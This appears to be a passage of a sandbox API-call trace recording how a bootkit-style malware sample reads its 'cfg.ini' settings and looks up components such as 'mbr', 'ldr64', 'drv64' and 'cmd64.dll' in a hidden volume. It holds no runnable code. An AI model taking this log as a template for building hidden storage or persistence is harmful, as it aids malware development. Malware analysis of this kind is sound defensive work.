[0123.314] KeEnterCriticalRegion () [0123.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.314] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.314] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.314] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.314] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.314] IdePortDispatch () returned 0x103 [0123.314] KeWaitForMutexObject () returned 0x0 [0123.314] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.314] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.314] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.314] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.314] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.314] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebc50 [0123.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.314] KeLeaveCriticalRegion () [0123.314] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.314] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.314] KeEnterCriticalRegion () [0123.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.314] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.314] KeLeaveCriticalRegion () [0123.314] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.315] KeEnterCriticalRegion () [0123.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.315] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.315] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.315] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.315] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.315] IdePortDispatch () returned 0x103 [0123.315] KeWaitForMutexObject () returned 0x0 [0123.315] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.315] KeLeaveCriticalRegion () [0123.315] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.315] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.315] KeEnterCriticalRegion () [0123.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.315] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003488000 [0123.315] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.315] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.315] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.315] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.315] IdePortDispatch () returned 0x103 [0123.315] KeWaitForMutexObject () returned 0x0 [0123.315] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.315] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.315] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.315] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.315] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.315] IdePortDispatch () returned 0x103 [0123.321] KeWaitForMutexObject () returned 0x0 [0123.321] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.321] KeLeaveCriticalRegion () [0123.321] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.321] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.321] KeEnterCriticalRegion () [0123.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.321] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.321] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.321] KeLeaveCriticalRegion () [0123.322] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.322] KeEnterCriticalRegion () [0123.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.322] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.322] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bebd10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.322] KeLeaveCriticalRegion () [0123.322] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.322] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.322] KeEnterCriticalRegion () [0123.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.322] ExFreePoolWithTag (P=0xfffffa8003bebc50, Tag=0x0) [0123.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.322] KeLeaveCriticalRegion () [0123.322] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.322] ReleaseMutex (hMutex=0xf0) returned 1 [0123.322] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.322] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.322] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.322] KeEnterCriticalRegion () [0123.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.322] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.322] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.322] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.322] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.322] IdePortDispatch () returned 0x103 [0123.322] KeWaitForMutexObject () returned 0x0 [0123.322] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.322] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.322] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.322] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.322] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.322] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbee10 [0123.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.322] KeLeaveCriticalRegion () [0123.322] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.323] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.323] KeEnterCriticalRegion () [0123.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.323] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.323] KeLeaveCriticalRegion () [0123.323] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.323] KeEnterCriticalRegion () [0123.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.323] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.323] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.323] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.323] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.323] IdePortDispatch () returned 0x103 [0123.323] KeWaitForMutexObject () returned 0x0 [0123.323] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.323] KeLeaveCriticalRegion () [0123.323] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.323] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.323] KeEnterCriticalRegion () [0123.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.323] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003489000 [0123.323] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.323] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.323] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.324] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.324] IdePortDispatch () returned 0x103 [0123.324] KeWaitForMutexObject () returned 0x0 [0123.324] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.324] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.324] IdePortDispatch () returned 0x103 [0123.324] KeWaitForMutexObject () returned 0x0 [0123.324] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.324] KeLeaveCriticalRegion () [0123.324] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.325] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.325] KeEnterCriticalRegion () [0123.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.325] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.325] KeLeaveCriticalRegion () [0123.325] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.325] KeEnterCriticalRegion () [0123.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.325] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.325] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.325] KeLeaveCriticalRegion () [0123.325] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.325] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.325] KeEnterCriticalRegion () [0123.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.325] ExFreePoolWithTag (P=0xfffffa8003bbee10, Tag=0x0) [0123.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.325] KeLeaveCriticalRegion () [0123.325] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.326] ReleaseMutex (hMutex=0xf0) returned 1 [0123.326] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.326] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.326] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.326] KeEnterCriticalRegion () [0123.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.326] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.326] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.326] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.326] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.326] IdePortDispatch () returned 0x103 [0123.326] KeWaitForMutexObject () returned 0x0 [0123.326] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.326] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.326] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.326] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.326] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.326] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebea0 [0123.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.326] KeLeaveCriticalRegion () [0123.326] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.326] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.326] KeEnterCriticalRegion () [0123.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.326] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.326] KeLeaveCriticalRegion () [0123.326] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.326] KeEnterCriticalRegion () [0123.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.326] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.326] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.326] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.326] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.326] IdePortDispatch () returned 0x103 [0123.328] KeWaitForMutexObject () returned 0x0 [0123.328] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.328] KeLeaveCriticalRegion () [0123.328] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.328] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.328] KeEnterCriticalRegion () [0123.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.328] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348a000 [0123.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.328] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.328] IdePortDispatch () returned 0x103 [0123.328] KeWaitForMutexObject () returned 0x0 [0123.328] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.328] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.328] IdePortDispatch () returned 0x103 [0123.328] KeWaitForMutexObject () returned 0x0 [0123.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.328] KeLeaveCriticalRegion () [0123.328] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.329] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.329] KeEnterCriticalRegion () [0123.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.329] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.329] KeLeaveCriticalRegion () [0123.329] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.329] KeEnterCriticalRegion () [0123.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.329] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.329] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.329] KeLeaveCriticalRegion () [0123.329] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.329] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.329] KeEnterCriticalRegion () [0123.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.329] ExFreePoolWithTag (P=0xfffffa8003bebea0, Tag=0x0) [0123.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.329] KeLeaveCriticalRegion () [0123.329] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.329] ReleaseMutex (hMutex=0xf0) returned 1 [0123.329] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.329] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.329] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.329] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.330] KeEnterCriticalRegion () [0123.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.330] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.330] IdePortDispatch () returned 0x103 [0123.330] KeWaitForMutexObject () returned 0x0 [0123.330] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.330] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.330] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.330] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.330] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.330] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.330] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.330] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.330] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.330] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.330] KeLeaveCriticalRegion () [0123.330] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.330] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.330] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.330] KeEnterCriticalRegion () [0123.330] ExAcquireFastMutexUnsafe (in: 